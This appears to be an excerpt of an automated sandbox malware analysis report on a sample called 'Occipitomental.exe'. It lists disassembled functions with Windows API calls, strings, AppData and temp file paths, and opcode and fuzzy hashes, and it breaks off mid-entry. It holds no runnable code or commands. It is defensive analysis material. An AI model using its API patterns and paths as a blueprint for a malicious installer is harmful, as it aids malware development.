                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$Free$lstrcpy$Alloc
                                                  • String ID:
                                                  • API String ID: 4227406936-0
                                                  • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                  • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                  • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                  • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                  Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CoCreateInstance.OLE32(004073C0,?,?,004073B0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
                                                  • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,?,004073B0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189
                                                  Strings
                                                  • C:\Users\user\AppData\Local\barberknivene\Valonia, xrefs: 0040211D
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ByteCharCreateInstanceMultiWide
                                                  • String ID: C:\Users\user\AppData\Local\barberknivene\Valonia
                                                  • API String ID: 123533781-2457997037
                                                  • Opcode ID: 08765ac282737d066bd54f6453e135cf49667dd97f2f7feba34eee4a916f7a54
                                                  • Instruction ID: 73ba7e37247343007321aa60fc7c63e2173afb66a68b14033088ab5266f46407
                                                  • Opcode Fuzzy Hash: 08765ac282737d066bd54f6453e135cf49667dd97f2f7feba34eee4a916f7a54
                                                  • Instruction Fuzzy Hash: 22513A75A00208BFDF10DFA4C988A9D7BB5FF48318F20416AF915EB2D1DB799941CB54
                                                  Function 00403A0F Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A4B
                                                  • ShowWindow.USER32(?), ref: 00403A68
                                                  • DestroyWindow.USER32 ref: 00403A7C
                                                  • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A98
                                                  • GetDlgItem.USER32(?,?), ref: 00403AB9
                                                  • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403ACD
                                                  • IsWindowEnabled.USER32(00000000), ref: 00403AD4
                                                  • GetDlgItem.USER32(?,?), ref: 00403B82
                                                  • GetDlgItem.USER32(?,00000002), ref: 00403B8C
                                                  • SetClassLongA.USER32(?,000000F2,?), ref: 00403BA6
                                                  • SendMessageA.USER32(0000040F,00000000,?,?), ref: 00403BF7
                                                  • GetDlgItem.USER32(?,?), ref: 00403C9D
                                                  • ShowWindow.USER32(00000000,?), ref: 00403CBE
                                                  • EnableWindow.USER32(?,?), ref: 00403CD0
                                                  • EnableWindow.USER32(?,?), ref: 00403CEB
                                                  • GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403D01
                                                  • EnableMenuItem.USER32(00000000), ref: 00403D08
                                                  • SendMessageA.USER32(?,000000F4,00000000,?), ref: 00403D20
                                                  • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D33
                                                  • lstrlenA.KERNEL32(0041FD20,?,0041FD20,00422F20), ref: 00403D5C
                                                  • SetWindowTextA.USER32(?,0041FD20), ref: 00403D6B
                                                  • ShowWindow.USER32(?,0000000A), ref: 00403E9F
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
                                                  • String ID:
                                                  • API String ID: 184305955-0
                                                  • Opcode ID: 1f421d7c43ed257896a6f8de1d3a09a02bb6a4aebe3142dd1b3890e8583c66ce
                                                  • Instruction ID: 59f0c632d138382d557344a1f3b7ccf8545d810693bdce96ba14c4126dbc1e18
                                                  • Opcode Fuzzy Hash: 1f421d7c43ed257896a6f8de1d3a09a02bb6a4aebe3142dd1b3890e8583c66ce
                                                  • Instruction Fuzzy Hash: 24C1E171A04205BBDB21AF21ED84E2B3E7CFB44706B50453EF611B11E1C779A942AB6E
                                                  Function 0040402B Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CheckDlgButton.USER32(00000000,-0000040A,?), ref: 004040B6
                                                  • GetDlgItem.USER32(00000000,000003E8), ref: 004040CA
                                                  • SendMessageA.USER32(00000000,0000045B,?,00000000), ref: 004040E8
                                                  • GetSysColor.USER32(?), ref: 004040F9
                                                  • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404108
                                                  • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404117
                                                  • lstrlenA.KERNEL32(?), ref: 0040411A
                                                  • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404129
                                                  • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040413E
                                                  • GetDlgItem.USER32(?,0000040A), ref: 004041A0
                                                  • SendMessageA.USER32(00000000), ref: 004041A3
                                                  • GetDlgItem.USER32(?,000003E8), ref: 004041CE
                                                  • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040420E
                                                  • LoadCursorA.USER32(00000000,00007F02), ref: 0040421D
                                                  • SetCursor.USER32(00000000), ref: 00404226
                                                  • ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,?), ref: 00404239
                                                  • LoadCursorA.USER32(00000000,00007F00), ref: 00404246
                                                  • SetCursor.USER32(00000000), ref: 00404249
                                                  • SendMessageA.USER32(00000111,?,00000000), ref: 00404275
                                                  • SendMessageA.USER32(00000010,00000000,00000000), ref: 00404289
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                  • String ID: Call$N$open
                                                  • API String ID: 3615053054-2563687911
                                                  • Opcode ID: 42e76c6f9001a471086f2110f9b209c176cf8913a74361ede291af8c06ceb81d
                                                  • Instruction ID: 13510805d6fd3d88b19762a43a0fb8d51a409b78b81c3afae21fa77130ec6155
                                                  • Opcode Fuzzy Hash: 42e76c6f9001a471086f2110f9b209c176cf8913a74361ede291af8c06ceb81d
                                                  • Instruction Fuzzy Hash: 8A61B4B1A40205BFEB109F61DC45F6A7B69FB44751F10807AFB04BA2D1C7B8A951CF98
                                                  Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                  • BeginPaint.USER32(?,?), ref: 00401047
                                                  • GetClientRect.USER32(?,?), ref: 0040105B
                                                  • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                  • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                  • DeleteObject.GDI32(?), ref: 004010ED
                                                  • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                  • SetBkMode.GDI32(00000000,?), ref: 00401126
                                                  • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                  • SelectObject.GDI32(00000000,?), ref: 00401140
                                                  • DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
                                                  • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                  • DeleteObject.GDI32(?), ref: 00401165
                                                  • EndPaint.USER32(?,?), ref: 0040116E
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                  • String ID: F
                                                  • API String ID: 941294808-1304234792
                                                  • Opcode ID: 40f8494239657d2e8864ccd35a5b2a20f251cf82d96748e84493e10ba4ff4366
                                                  • Instruction ID: 162af80c0e370fc685607c2eff3bc6c1c184a7d325dd4572e54487cb40a4b06a
                                                  • Opcode Fuzzy Hash: 40f8494239657d2e8864ccd35a5b2a20f251cf82d96748e84493e10ba4ff4366
                                                  • Instruction Fuzzy Hash: 67419B71804249AFCF058FA4CD459AFBBB9FF44310F00812AF551AA1A0C738EA51DFA5
                                                  Function 00405A46 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrcpyA.KERNEL32(00421AB0,NUL,?,00000000,?,00000000,00405BD9,?,?), ref: 00405A55
                                                  • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,00405BD9,?,?), ref: 00405A79
                                                  • GetShortPathNameA.KERNEL32(?,00421AB0,00000400), ref: 00405A82
                                                    • Part of subcall function 004058D5: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E5
                                                    • Part of subcall function 004058D5: lstrlenA.KERNEL32(00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
                                                  • GetShortPathNameA.KERNEL32(00421EB0,00421EB0,00000400), ref: 00405A9F
                                                  • wsprintfA.USER32 ref: 00405ABD
                                                  • GetFileSize.KERNEL32(00000000,00000000,00421EB0,C0000000,00000004,00421EB0,?,?,?,?,?), ref: 00405AF8
                                                  • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B07
                                                  • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B3F
                                                  • SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216B0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405B95
                                                  • GlobalFree.KERNEL32(00000000), ref: 00405BA6
                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BAD
                                                    • Part of subcall function 00405970: GetFileAttributesA.KERNELBASE(?,00402CA6,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 00405974
                                                    • Part of subcall function 00405970: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405996
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                  • String ID: %s=%s$NUL$[Rename]
                                                  • API String ID: 222337774-4148678300
                                                  • Opcode ID: 9bc7e89509a9b3e07b0ba00253ca5b1ea37cec48c9fb0683257193e6eb8683f7
                                                  • Instruction ID: ba38e0c37d2c4a0677a1b8c3a3e2c5b81f52bfc6e6322859571237bcba2cc6eb
                                                  • Opcode Fuzzy Hash: 9bc7e89509a9b3e07b0ba00253ca5b1ea37cec48c9fb0683257193e6eb8683f7
                                                  • Instruction Fuzzy Hash: E5310271A05A19ABD2202B219C49F6B3AACDF45754F14043AFD01B62D2D6BCBD018EBD
                                                  Function 100021FA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139memoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                    • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                  • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                  • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                  • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                  • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                  • String ID: @H3w
                                                  • API String ID: 3730416702-4275297014
                                                  • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                  • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                  • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                  • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                  Function 00405F68 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Occipitomental.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FC0
                                                  • CharNextA.USER32(?,?,?,00000000), ref: 00405FCD
                                                  • CharNextA.USER32(?,"C:\Users\user\Desktop\Occipitomental.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FD2
                                                  • CharPrevA.USER32(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FE2
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405F69
                                                  • "C:\Users\user\Desktop\Occipitomental.exe", xrefs: 00405FA4
                                                  • *?|<>/":, xrefs: 00405FB0
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Char$Next$Prev
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
                                                  • API String ID: 589700163-1530336036
                                                  • Opcode ID: 630e707e10dd61a13617e1da554c627d06d49c30f7de44bbd37dfc38f3dae12c
                                                  • Instruction ID: ae1ae60f73f04b2279d28dd2d3a2e9c8876d1ac92d72727c270a9fd7cf783979
                                                  • Opcode Fuzzy Hash: 630e707e10dd61a13617e1da554c627d06d49c30f7de44bbd37dfc38f3dae12c
                                                  • Instruction Fuzzy Hash: 75119451908B932DEB3216254C44BBB7F99CF56760F18047BE9C4722C2D6BC9C429B7D
                                                  Function 00403F49 Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetWindowLongA.USER32(?,000000EB), ref: 00403F66
                                                  • GetSysColor.USER32(00000000), ref: 00403F82
                                                  • SetTextColor.GDI32(?,00000000), ref: 00403F8E
                                                  • SetBkMode.GDI32(?,?), ref: 00403F9A
                                                  • GetSysColor.USER32(?), ref: 00403FAD
                                                  • SetBkColor.GDI32(?,?), ref: 00403FBD
                                                  • DeleteObject.GDI32(?), ref: 00403FD7
                                                  • CreateBrushIndirect.GDI32(?), ref: 00403FE1
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                  • String ID:
                                                  • API String ID: 2320649405-0
                                                  • Opcode ID: 43ad35625e8825ecd6a842b2a86c8fc2a15ebd27dc521d874f6abe6132d0b03d
                                                  • Instruction ID: 69fcdb6fe5d9844d1d3a4f02655feb6370c96159658ebf8fe0858d801e39bc44
                                                  • Opcode Fuzzy Hash: 43ad35625e8825ecd6a842b2a86c8fc2a15ebd27dc521d874f6abe6132d0b03d
                                                  • Instruction Fuzzy Hash: 5A215471904705ABCB219F78DD48F4BBFF8AF01715B048A29F895E22E0D735EA04CB55
                                                  Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                  • GlobalFree.KERNEL32(?), ref: 100024B5
                                                  • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$Free$Alloc
                                                  • String ID:
                                                  • API String ID: 1780285237-0
                                                  • Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                  • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                  • Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                  • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                  Function 00404F16 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrlenA.KERNEL32(0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
                                                  • lstrlenA.KERNEL32(00402FCF,0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
                                                  • lstrcatA.KERNEL32(0041F500,00402FCF,00402FCF,0041F500,00000000,0040E8D8,00000000), ref: 00404F72
                                                  • SetWindowTextA.USER32(0041F500,0041F500), ref: 00404F84
                                                  • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FAA
                                                  • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC4
                                                  • SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FD2
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                  • String ID:
                                                  • API String ID: 2531174081-0
                                                  • Opcode ID: a7998a57e19000565b5b9baf7337a7144b151b5073ee75d1282d145049573e19
                                                  • Instruction ID: eca0c9fc351864773e3873b1aaef0297ce596284c077fb9535b250fc548d2f5f
                                                  • Opcode Fuzzy Hash: a7998a57e19000565b5b9baf7337a7144b151b5073ee75d1282d145049573e19
                                                  • Instruction Fuzzy Hash: 0D219DB1900119BBDF119FA5CD849DEBFB9EF44354F14807AFA04B6290C7798A41CBA8
                                                  Function 004047E1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004047FC
                                                  • GetMessagePos.USER32 ref: 00404804
                                                  • ScreenToClient.USER32(?,?), ref: 0040481E
                                                  • SendMessageA.USER32(?,00001111,00000000,?), ref: 00404830
                                                  • SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404856
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
